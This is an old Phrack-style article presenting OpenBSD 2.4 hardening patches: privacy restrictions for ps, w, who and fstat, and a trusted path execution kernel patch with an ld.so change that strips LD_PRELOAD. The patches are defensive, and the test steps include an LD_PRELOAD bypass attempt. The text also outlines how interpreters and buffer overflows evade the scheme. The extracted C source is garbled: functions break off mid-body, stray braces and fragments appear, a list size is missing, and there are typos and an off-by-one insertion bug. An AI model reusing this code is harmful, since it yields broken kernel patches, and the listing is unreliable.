This article is a follow-up to my P52-06 article on hardening the Linux kernel. Herein the reader will find several patches designed to harden a multi-user OpenBSD box. These patches can be broken down into two areas: privacy restriction and execution restriction (more on these below). The patches contained here should be used in conjunction with a savvy for intelligent administration; if you can't recompile a kernel, stop here.

----[Getting Sources

You will need an OpenBSD 2.4 box with full kernel sources for your architecture and sources for the following programs: w, who, ps, fstat, and ld.so. Below are sample instructions for getting the sources you'll need through anonymous CVS.

I. Pick a server and set the appropriate environment variables:
(assuming csh or tcsh)

1. setenv CVSROOT anoncvs@anoncvs3.usa.openbsd.org:/cvs
2. setenv CVS_RSH /usr/local/bin/ssh
3. cd /usr

II. Get the sources:

1. cvs get src/usr.bin/fstat
2. cvs get src/bin/ps
3. cvs get src/usr.bin/w
4. cvs get src/usr.bin/who
5. cvs get src/gnu/usr.bin/ld/
6. cvs get src/lib/libc/stdio/

III. If you need kernel sources:

- (for i386-based machines, other architectures vary slightly)
1. cvs get ksrc-i386 ksrc-common

----[Privacy Patches

Tested on: 2.4-SNAP (Current as of 12.10.98)

Author: route

Why should we allow anyone to be able to view information on processes they do not own?

Normally, when a process wants system-wide process table information, it retrieves it from the kernel virtual memory interface by making calls to a `kvm_*(3)` derivative. All that is required is that the process have permissions to read from `/dev/kmem` (usually meaning the program file needs to be `sgid kmem`). I am of the school of thought that, unless you are really cool, you don't need to see everyone else's processes on a host. The privacy patches work towards this end.

----[Privacy Patches Modus Operandi

Simple credential check. Before the command is allowed to dump savory information, a UID check is made. If you're not root, you're not going to see other users' information. Due to the somewhat lazy way this is implemented, a savvy hacker could defeat this. I leave this as an exercise to the reader.

----[Privacy Patches Installation

- I. Extract the code from this article:
 - 1. extract P54-06
 - 2. cd PP/
- II. Apply the userland diffs:
 - 1. cp Patch/PP-diff /usr/src
 - 2. cd /usr/src
 - 3. patch < PP-diff
- III. Next, cd to the relevant directories and build the executables:
 - 1. cd usr.bin/fstat; make; make install
 - 2. cd usr.bin/who; make; make install
 - 3. cd usr.bin/w; make; make install
 - 4. cd bin/ps; make; make install

----[Trusted Path / ACL Execution Patches

Tested on: 2.4-SNAP (Current as of 12.10.98)
Author: route

Why should we allow arbitrary code execution rights?

Before any call to `sys_execve()` is allowed to proceed, we take the vnode of the parent directory that the targeted file lives in and grab the file attributes via the `VOP_GETATTR()` macro. We then check to see if the path is trusted (root owned directory that isn't group or world writable) and, barring that, we check to see if the user is trusted (on the kernel's trust list). If the last check fails, the file is denied execution privileges.

Oops! By setting certain environment variables, users can still preload libraries and modules filled with all sorts of arbitrary code. This is a no-no. To prevent this, we provide a mechanism to effectively ignore `LD_PRELOAD` and `LD_LIBRARY_PATH` environment variables.

----[TPE Implementation Overview

The tpe suite consists of 4 components: the in-kernel mechanisms, a system call, a userland agent and an ld.so component. The kernel resident components handle the path and credential verification as well as list maintenance. The system call is the vessel used to convey information from userland to the kernel and vice versa. The userland agent consists of the tpe administrative program used to manipulate the trust list (and enable/disable the ld.so environment checker). The ld.so piece is responsible for grooming the environment of any illegal variables.

----[TPE Trust List Kernel Interface and Abstract Data Types

The trust list inside the kernel is a static array of type `'uid_t'`. The decision was made to use a static array to hold the trusted IDs for both convenience and runtime efficiency. By default, the list is elements long.

If this for some reason is not sufficient, it can be increased by changing the CPP symbolic constant TPE_ACL_SIZE (however, you should first probably ask yourself why you need more than 80 trusted users).

The speed in which user ID verification is done is absolutely essential, as this check will be done for every call to exec that does not originate from a trusted path. This has the potential to be a huge bottle neck. This was taken into consideration and the bulk of processing overhead is offloaded to list initialization and modification.

The list is kept ordered after all insertions and deletions via insertion sort. Sorting is relatively costly (insertion sort has a running time of about $O(n^2)$) and is done when response time is not absolutely critical, during list additions and deletions.

Speed is essential when the lookups are done, and, since the list is ordered, a binary search can be done in a worst case of $O(\lg N)$. In fact, with the default list size of 80 elements, we can be guaranteed no more than 7 comparisons will be done. Compare that with a sequential search in an ordered list which has a worst case of $O(N)$ (80 comparisons).

----[TPE ld.so protection

The dynamic linker is a great tool that allows us to write small programs that load external code at runtime. On a macro scale, ld.so allows processes to load arbitrary external code for execution. This can be used to bypass our execution restrictions. A user could bypass path trust by simply loading code dynamically via library or object code redirection. This is against our best interests. To prevent this, we patch ld.so to strip the LD_PRELOAD and LD_LIBRARY_PATH environment variables.

There is a global int, tpe_ld_check, that is set, cleared and checked via the system call. When set, ld.so checks the environment of any non UID 0 process and calls unsetenv if LD_PRELOAD and/or LD_LIBRARY_PATH exist. The variables still exist in the user's environment, but they are ignored during the dynamic linking.

----[What TPE will do

Trusted path execution will prevent arbitrary users from executing arbitrary code. This means that malicious users cannot execute exploit programs to try and break root on your machine. This also means that they can't execute exploit programs and try to hack from your machine. It affords an administrator an extra level of confidence that her system is secure.

----[What TPE will not do

TPE relies on auditing a call to one of exec(2) family of functions. It ensures that the program file that contains the code to be executed resides in a trusted directory or is being executed by a trusted user. Programs living in a trusted directory that interpret symbolic code and link and assemble at runtime (and call exec from a trusted path) can bypass our TPE security mandate and must be audited differently. These are programs such as perl, any of the shell interpreters, sed, awk, etc... While a malicious user cannot just whip up a script in her home directory (it would be denied execution rights because it lives in an untrusted directory) she could specify the code on the command line or redirect it from a file.

There are different ways to tackle this problem, none of them very elegant. Changing the file permissions and ownership to allow only members of a

certain group access to these files is a simple effort and an obvious choice, but will not work for the shell interpreters. Moving all of these programs to a special non-trusted directory would also work (normal users would not be able to execute them, but trusted users would), but again, this will not work for the shell programs.

To prevent the shell programs from being to execute arbitrary code it seems like the only real solution would be to patch them. This way you can prevent naughty activity and still get desired functionality.

Another area of trouble is command line buffer overflows. If a trusted program happens to contain a buffer overflow that is exploitable from the command line, an attacker can bypass the TPE and get arbitrary code executed. The overflow shellcode is passed in as standard command line argument and is not illegal as far as TPE sees. One possible fix is to audit or sanitize the command arguments before granting execution rights.

The other noteworthy issue regarding TPE is the fact that it generally does not protect the machine from remote attacks. Daemons running as root or as a trusted user id (usually the case -- otherwise how would it be started in the first place?) will be allowed execution rites. If this code contains remotely exploitable buffer overflows, TPE cannot prevent arbitrary code execution.

----[tpe_adm

The userland agent is painfully simple to use. To show the kernel's trusted user list:

```
resentment:~# tpe_adm -s
trusted users: root diablerie
```

To add a user to the list:

```
resentment:~# tpe_adm -a devilish
UID 1000 added to trust list
resentment:~# tpe_adm -s
trusted users: root diablerie devilish
```

To remove a user from the list:

```
resentment:~# tpe_adm -d diablerie
UID 1000 removed from trust list
resentment:~# tpe_adm -s
trusted users: root diablerie
```

To enable/disable ld.so environment checking:

```
resentment:~# tpe_adm -le
ld.so environment protection enabled
resentment:~# tpe_adm -ls
ld.so environment protection is currently on
resentment:~# tpe_adm -ld
ld.so environment protection disabled
resentment:~# tpe_adm -ls
ld.so environment protection is currently off
```

----[TPE Installation

- I. Extract the code from this article:
 1. extract P54-06

2. cd TPE/
- II. Apply the kernel diffs:
 1. cp Core/Patch/TPE-diff /usr/src/sys
 2. cd /usr/src/sys/
 3. patch < TPE-diff
 4. note any errors. hope they are benign.
- III. Apply the ld.so diff:
 1. cp Core/Patch/ld.so-diff /usr/src/
 2. cd /usr/src/
 3. patch < ld.so-diff
- IV. Copy over the tpe core files:
 1. cp Core/kern/kern_tpe.c /usr/src/sys/kern
 2. cp Core/kern/kern_tpe_sys.c /usr/src/sys/kern
 3. cp Core/sys/kern_tpe.h /usr/src/sys/sys
- V. Rebuild your syscall table:
 1. cd /usr/src/sys/kern
 2. make
- VI. Copy over the syscall include files:
 1. cp /usr/src/sys/sys/syscall.h /usr/include/sys
 2. cp /usr/src/sys/sys/syscallargs.h /usr/include/sys
- VII. Reconfigure your kernel:

(This step assumes you have a previously configured kernel named YOUR_KERNEL. If you haven't, you need to config a kernel. Refer to OpenBSD documentation on how to do this.)

 1. cd /usr/src/sys/arch/YOUR_ARCH/conf
 2. config YOUR_KERNEL
- VIII. Remake the dependencies and rebuild the kernel:
 1. cd /usr/src/sys/arch/YOUR_ARCH/compile/YOUR_KERNEL
 2. make depend ; make clean ; make
 3. note any errors. hope you can fix them.
 3. cp /bsd /bsd.old ; cp bsd /
 4. reboot
- IX. Build the new ld.so
 1. cd /usr/src
 2. cp lib/libc/stdio/vfprintf.c /usr/src/gnu/usr.bin/ld/rtld
 3. cp lib/libc/stdio/local.h /usr/src/gnu/usr.bin/ld/rtld
 4. cp lib/libc/stdio/fvwrite.h /usr/src/gnu/usr.bin/ld/rtld
 5. cd /usr/src/gnu/usr.bin/ld/rtld
 6. make ; make install
- X. Build the TPE admin program:
 1. cd Core/Admin/ ; make
 2. make install
- XI. Test it out:
 1. As root, dump the current trust list:

(Only UID 0 should be on it.)

```
tpe_adm -s
trusted users: root
```
 2. Try the following as an untrusted user (i.e. UID=1000):

```
cat > foo.c << EOF ; gcc foo.c
    int main(int argc, char **argv){ printf("Hello world\n"); }
    EOF
./a.out
```

EPERM should result.

3. Now add the user to the trust list:
tpe_adm -a UID
4. Dump the list again:
(You should see the user on the list.)
tpe_adm -s
5. Try to execute the command again as the user:
./a.out
Hello world
6. Add only the necessary UIDs to the list.
7. NOTE TO QMAIL USERS:
You may find that you will need to explicitly add the qmailq UID to the trust list. Do this in an rc startup script that runs before the qmail daemons start.
8. As root, ensure that ld.so environment protection is enabled:
tpe_adm -le
ld.so environment protection enabled
9. As an unprivileged user:
setenv LD_PRELOAD test.o
ls -l
Your environment contains illegal variables which are being stripped out for the execution of this program
a.out fo.c foo.c
10. As root, ensure that ld.so environment protection is disabled:
tpe_adm -ld
ld.so environment protection disabled
11. As an unprivileged user:
ls
/usr/libexec/ld.so: preload: test.o: cannot map object
12. You're done. Pat yourself on the back and buy something from Precious Roy.

----[The Code

```
<++> TPE/Core/Admin/Makefile
# $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
# Trusted path ACL implementation for OpenBSD 2.4
# Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
# All rights reserved.
#
# Originally published in Phrack Magazine (http://www.phrack.com).

tpe_adm:
    $(CC) tpe_adm.c -o tpe_adm

install: tpe_adm
    install -m 711 -o 0 tpe_adm /usr/local/sbin

clean:
    rm -rf core a.out tpe_adm

# EOF
```

```

<-->
<+> TPE/Core/Admin/tpe_adm.c
/*
 * $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 * Trusted path ACL userland administrative agent for OpenBSD 2.4
 *
 * Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 * All rights reserved.
 * Originally published in Phrack Magazine (http://www.phrack.com).
 *
 * Thanks to nirva for helping me choose an ADT.
 * See <sys/kern_tpe.h> for more info.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <pwd.h>
#include "../sys/kern_tpe.h"

void usage();

int
main(int argc, char **argv)
{
    uid_t list[TPE_ACL_SIZE];
    int c, i, mode;
    uid_t candidate;
    struct passwd *pwd;

    if (geteuid() && getuid())
    {
        fprintf(stderr, "root access required\n");
        exit(1);
    }

    if (argc == 1 || argc > 3)
    {
        usage();
    }
}

```



```

    exit(EXIT_SUCCESS);
}

while ((c = getopt(argc, argv, "a:d:l:s")) != EOF)
{
    switch (c)
    {
        case 'a':
            if (isalpha(optarg[0]))
            {
                pwd = getpwnam(optarg);
                if(!pwd)
                {
                    fprintf(stderr, "Unknown user: \"%s\"\n", optarg);
                    exit(EXIT_FAILURE);
                }
                candidate = pwd->pw_uid;
            }
            else if (!(candidate = (uid_t)atol(optarg)))
            {
                fprintf(stderr, "invalid UID: \"%s\"\n", optarg);
                exit(EXIT_FAILURE);
            }
            if (syscall(SYS_tpe_adm, TPE_ADD, candidate, NULL) == -1)
            {
                printf("Full trust list\n");
                exit(EXIT_FAILURE);
            }
            printf("UID %d added to trust list\n", candidate);
            break;
        case 'd':
            if (isalpha(optarg[0]))
            {
                pwd = getpwnam(optarg);
                if(!pwd)
                {
                    fprintf(stderr, "Unknown user: \"%s\"\n", optarg);
                    exit(EXIT_FAILURE);
                }
                candidate = pwd->pw_uid;
            }
            else if (!(candidate = (uid_t)atol(optarg)))
            {
                fprintf(stderr, "invalid UID: \"%s\"\n", optarg);
                exit(EXIT_FAILURE);
            }
            if (syscall(SYS_tpe_adm, TPE_REMOVE, candidate, NULL) == -1)
            {
                printf("UID %d not found on trust list\n", candidate);
                exit(EXIT_FAILURE);
            }
            printf("UID %d removed from trust list\n", candidate);
            break;
        case 'l':
            if (optarg[0] == 'e')
            {
                if (syscall(SYS_tpe_adm, TPE_LDCHECK_E, -1, NULL) == -1)
                {
                    printf("Unknown internal error\n"); /* should NOT fail */
                    exit(EXIT_FAILURE);
                }
                printf("ld.so environment protection enabled\n");
            }
    }
}

```

```

    }
    else if (optarg[0] == 'd')
    {
        if (syscall(SYS_tpe_adm, TPE_LDCHECK_D, -1, NULL) == -1)
        {
            printf("Unknown internal error\n"); /* should NOT fail */

            exit(EXIT_FAILURE);
        }
        printf("ld.so environment protection disabled\n");
    }
    else if (optarg[0] == 's')
    {
        if (syscall(SYS_tpe_adm, TPE_LDCHECK_S, -1, list) == -1)
        {
            printf("Unknown internal error\n"); /* should NOT fail */

            exit(EXIT_FAILURE);
        }
        printf("ld.so environment protection is currently %s\n",
            list[0] ? "on" : "off");
    }
    else
    {
        fprintf(stderr, "Huh?\n");
        exit(EXIT_FAILURE);
    }
    break;
case 's':
    /*
     * It is Very Important that `list` is an array of size
     * TPE_ACL_SIZE. The kernel expects this. Failure to do
     * so can result in a panic. However, only root can issue
     * the tpe_adm system call.
     */
    if (syscall(SYS_tpe_adm, TPE_SHOW, -1, list) == -1)
    {
        /*
         * Should NOT fail.
         */
        printf("Hideous internal error\n");
        exit(EXIT_FAILURE);
    }
    printf("trusted users: ");
    for (i = 0; list[i] != TPE_INITIALIZER; i++)
    {
        pwd = getpwuid(list[i]);
        if (pwd)
        {
            printf("%s ", pwd->pw_name);
        }
        else
        {
            printf("%d ", (int)list[i]);
        }
    }
    printf("\n");
    break;
default:
    usage();
    exit(EXIT_SUCCESS);
}
}

```

```

    return (0);
}

void
usage()
{
    fprintf(stderr, "usage: tpe_adm [-a UID]      Add a UID to the trust list\n"
                    "[-d UID]      Delete a UID from the list\n"
                    "[-l e|n]    Toggle LD_* usage\n"
                    "[-l s]      Show status of ld.so protection\n"
                    "[-s]      Show the current list\n");
}

<-->
<+> TPE/Core/Patch/TPE-diff
--- ./kern/init_main.c   Tue Sep 15 23:21:08 1998
+++ ../Core/kern/init_main.c   Sun Oct 18 12:26:24 1998
@@ -80,6 +80,7 @@

#include <sys/syscall.h>
#include <sys/syscallargs.h>
#include <sys/kern_tpe.h>

#include <ufs/ufs/quota.h>

@@ -424,6 +425,16 @@
    random((u_long) (rtv.tv_sec ^ rtv.tv_usec));

    randompid = 1;

+
+    tpe_init();
+    printf("Trusted patch execution list initialized\n");
+    /*
+     * root must be added hard at this point.  For safety's sake, the
+     * userland agent can't do anything with UID 0 to prevent morons
+     * from locking themselves out of their machines.
+     */
+    tpe_add(0);
+
    /* The scheduler is an infinite loop. */
    scheduler();
    /* NOTREACHED */
--- ./kern/syscalls.master   Thu Sep 17 13:54:04 1998
+++ ../Core/kern/syscalls.master   Sun Oct 18 12:35:59 1998
@@ -479,7 +479,8 @@
242     UNIMPL
243     UNIMPL
244     UNIMPL
-245     UNIMPL
+245     STD          { int sys_tpe_adm(int mode, uid_t candidate, \
+                        uid_t *list); }
+
246     UNIMPL
247     UNIMPL
248     UNIMPL
--- ./kern/kern_exec.c   Thu Sep 24 11:49:31 1998
+++ ../Core/kern/kern_exec.c   Sun Oct 18 12:32:03 1998
@@ -51,12 +51,16 @@
#include <sys/mman.h>
#include <sys/signalvar.h>
#include <sys/stat.h>
#include <ufs/ufs/quota.h>
#include <ufs/ufs/inode.h>

```

```

#ifdef SYSVSHM
#include <sys/shm.h>
#endif

#include <sys/syscallargs.h>
-
+#include <sys/kern_tpe.h>
+#include <sys/systm.h>
+
#include <vm/vm.h>
#include <vm/vm_kern.h>

@@ -93,6 +97,7 @@
    struct exec_package *epp;
    {
        int error, i;
+
        struct vattr at;
        struct vnode *vp;
        struct nameidata *ndp;
        size_t resid;
@@ -146,6 +151,30 @@
        if (error)
            goto bad2;
        epp->ep_hdrvalid = epp->ep_hdrlen - resid;
+
+        /*
+        * Get the file attributes of the parent directory that the
+        * executable lives in.
+        */
+        if ((error = VOP_GETATTR(ndp->ni_dvp, &at, NULL, NULL)) != 0)
+        {
+            goto bad2;
+        }
+
+        /*
+        * Trusted path check.
+        */
+        if (!TRUSTED_PATH(at))
+        {
+            /*
+            * Trusted user check.
+            */
+            if (!TRUSTED_USER(p->p_ucred->cr_uid))
+            {
+                error = EACCES;
+                goto bad2;
+            }
+        }
+
+        /*
+        * set up the vmcmds for creation of the process
+--- ./conf/files      Sun Sep 27 19:43:22 1998
+++ ../Core/conf/files  Sun Oct 18 12:40:28 1998
@@ -209,6 +209,8 @@
    file kern/kern_sysctl.c
    file kern/kern_synch.c
    file kern/kern_time.c
+file kern/kern_tpe.c
+file kern/kern_tpe_sys.c
    file kern/kern_xxx.c
    file kern/subr_autoconf.c
    file kern/subr_disk.c
<-->

```

```

<+> TPE/Core/kern/kern_tpe.c
/*
 * $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 * Trusted path ACL implementation for OpenBSD 2.4
 *
 * Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 * All rights reserved.
 * Originally published in Phrack Magazine (http://www.phrack.com).
 *
 * Thanks to nirva for helping me choose an ADT.
 * See <sys/kern_tpe.h> for more info.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#include <sys/kern_tpe.h>

void
tpe_init()
{
    memset(tpe_acl, TPE_INITIALIZER, sizeof(uid_t) * TPE_ACL_SIZE);
    tpe_acl_candidates = 0;
    tpe_ld_check = 1;
#ifdef (AUTO_ADD_ROOT)
    tpe_acl[0] = 0;
#endif
}

void
tpe_show()
{
    int i;

    printf("%d trusted users: ", tpe_acl_candidates);
    for (i = 0; i < tpe_acl_candidates; i++)
    {
        printf("%d ", tpe_acl[i]);
    }
    printf("\n");
}

```

```

int
tpe_add(uid_t candidate)
{
    if (tpe_acl_candidates == TPE_ACL_SIZE)
    {
        /*
         * Full list.
         */
        return (NACK);
    }

    /*
     * Don't add duplicates.
     */
    if ((tpe_search(candidate, 0, tpe_acl_candidates)) == NACK)
    {
        /*
         * Add to the end of the list, then sort.
         */
        tpe_acl_candidates++;
        tpe_acl[tpe_acl_candidates] = candidate;
        tpe_sort(0, tpe_acl_candidates);

        printf("tpe: UID %d added to trust list\n", candidate);
    }
    else
    {
        printf("tpe: duplicate UID %d not added\n", candidate);
    }
    return (ACK);
}

int
tpe_remove(uid_t candidate)
{
    int n;

    if (tpe_acl_candidates == 0)
    {
        /*
         * Empty list.
         */
        return (NACK);
    }
    if ((n = tpe_search(candidate, 0, tpe_acl_candidates)) != NACK)
    {
        /*
         * Remove the candidate (mark the slot as unused), resort the list.
         */
        tpe_acl[n] = TPE_INITIALIZER;
        tpe_acl_candidates--;
        tpe_sort(0, tpe_acl_candidates);

        printf("tpe: UID %d removed from trust list\n", candidate);
        return (ACK);
    }
    /*
     * Not found.
     */
    return (NACK);
}

```

```

int
tpe_verify(uid_t candidate)
{
    if ((tpe_search(candidate, 0, tpe_acl_candidates)) != NACK)
    {
        return (ACK);
    }
    else
    {
        return (NACK);
    }
}

```

```

void
tpe_sort(int low, int high)
{
    int i, j, n;

    /*
     * Standard insertion sort.
     */
    for (i = low + 1; i <= high; i++)
    {
        COMPSWAP(tpe_acl[low], tpe_acl[i]);
    }

    for (i = low + 2; i <= high; i++)
    {
        j = i;
        n = tpe_acl[i];
        while (LESS(n, tpe_acl[j - 1]))
        {
            tpe_acl[j] = tpe_acl[j - 1];
            j--;
        }
        tpe_acl[j] = n;
    }
}

```

```

int
tpe_search(uid_t candidate, int low, int high)
{
    int n;

    /*
     * Standard binary search. XXX - should be iterative.
     */
    n = (low + high) / 2;

    if (low > high)
    {
        return (NACK);
    }
    if (candidate == tpe_acl[n])
    {
        return (n);
    }
    if (low == high)
    {
        return (NACK);
    }
}

```

```

    }
    if (LESS(candidate, tpe_acl[n]))
    {
        return (tpe_search(candidate, low, n - 1));
    }
    else
    {
        return (tpe_search(candidate, n + 1, high));
    }
}

/* EOF */
<-->
<++> TPE/Core/kern/kern_tpe_sys.c
/*
 * $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 * Trusted path ACL syscall implementation for OpenBSD 2.4
 *
 * Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 * All rights reserved.
 * Originally published in Phrack Magazine (http://www.phrack.com).
 *
 * Thanks to nirva for helping me choose an ADT.
 * See <sys/kern_tpe.h> for more info.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

#include <sys/kern_tpe.h>
#include <sys/sysm.h>

#include <sys/mount.h>
#include <sys/syscallargs.h>

int
sys_tpe_adm(p, v, retval)
    struct proc *p;
    void *v;
    register_t *retval;
{
    struct sys_tpe_adm_args /* {
        syscallarg(int) mode;

```



```

        syscallarg(uid_t) candidate;
        syscallarg(uid_t *) list;
    } */ *uap = v;
    register struct pcred *pc = p->p_cred;
    register int i;
    register uid_t *lp;

/*
 * The only thing a non root user can do is check the status of the
 * ld.so environment protection. This is necessary because ld.so
 * runs without elevated priviledges and needs to check this.
 */
if (suser(pc->pc_ucred, &p->p_acflag) && SCARG(uap, mode) != TPE_LDCHECK_S)
{
    return (EPERM);
}

switch (SCARG(uap, mode))
{
    case TPE_ADD:
        if (tpe_add(SCARG(uap, candidate)) == ACK)
        {
            return (0);
        }
        else
        {
            return (ENOSPC);          /* Ugh. Best we can do. */
        }
    case TPE_REMOVE:
        if (tpe_remove(SCARG(uap, candidate)) == ACK)
        {
            return (0);
        }
        else
        {
            return (ENOSPC);          /* Ugh. */
        }
    case TPE_SHOW:
        lp = SCARG(uap, list);
        if (lp == NULL)
        {
            return (ENOSPC);
        }
        else
        {
            for (i = 0; i < TPE_ACL_SIZE; i++)
            {
                lp[i] = tpe_acl[i];
            }
            return (0);
        }
    case TPE_LDCHECK_E:
        tpe_ld_check = 1;
        return (0);
    case TPE_LDCHECK_D:
        tpe_ld_check = 0;
        return (0);
    case TPE_LDCHECK_S:
        lp = SCARG(uap, list);
        if (lp == NULL)
        {
            return (ENOSPC);
        }
}

```

```

        else      /* XXX - sysctl would be cleaner. */
        {
            lp[0] = tpe_ld_check;
            return (0);
        }
    default:
        return (ENXIO);                /* Ugh. */
}
return (ENXIO);
}
<-->
<++> TPE/Core/sys/kern_tpe.h
/*
 * $Id: P54-06,v 1.16 1998/12/10 00:01:28 route Exp $
 * Trusted path ACL implementation for OpenBSD 2.4
 *
 * Copyright (c) 1998 route|daemon9 and Mike D. Schiffman
 * All rights reserved.
 * Originally published in Phrack Magazine (http://www.phrack.com).
 *
 * Thanks to nirva for helping me choose an ADT.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 * Trusted path ACL implementation for OpenBSD 2.4
 *
 * For the full write-up please see Phrack Magazine, issue 54, article 6
 * http://www.phrack.com
 *
 * Overview:
 *
 * A trusted path/ACL execution implementation for OpenBSD. We consider
 * a path to be trusted if the parent directory is owned by root and is not
 * group or world writable. We consider a user to be trusted if she is on
 * the kernels trust list.
 *
 * Implementation details:
 *
 * Inside the kern_exec function, we first check the path for trust, if that
 * fails, we then check the user's credentials to see if she is able to run
 * binaries in an untrusted path. Untrusted users are not allowed to execute
 * programs from untrusted pathes.
 *
 * The decision was the made to use a static array to hold the trusted IDs

```

```

*   for both convenience and runtime efficiency. We keep the list ordered
*   after all insertions and deletions, and therefore, we can search the list
*   (where speed is critical) in a worst case of  $O(\lg N)$ . Compare that with a
*   sequential search in an ordered list which has a worst case of  $O(N)$ .
*
*   The speed in which user ID verification is done is absolutely essential,
*   as this check will be done for every call to exec that does not originate
*   from a trusted path. This has the potential to be a huge bottle neck.
*   This was taken into consideration and the bulk of processing overhead is
*   offloaded to list initialization and modification.
*/

#ifndef __KERN_TPE_H
#define __KERN_TPE_H

#ifdef _KERNEL
#include <sys/types.h>
#include <sys/cdefs.h>
#include <sys/system.h>
#include <sys/param.h>
#include <sys/ucrd.h>
#include <sys/proc.h>
#endif

/*
 *   syscall stuff
 */
#define TPE_ADD          0          /* add an entry */
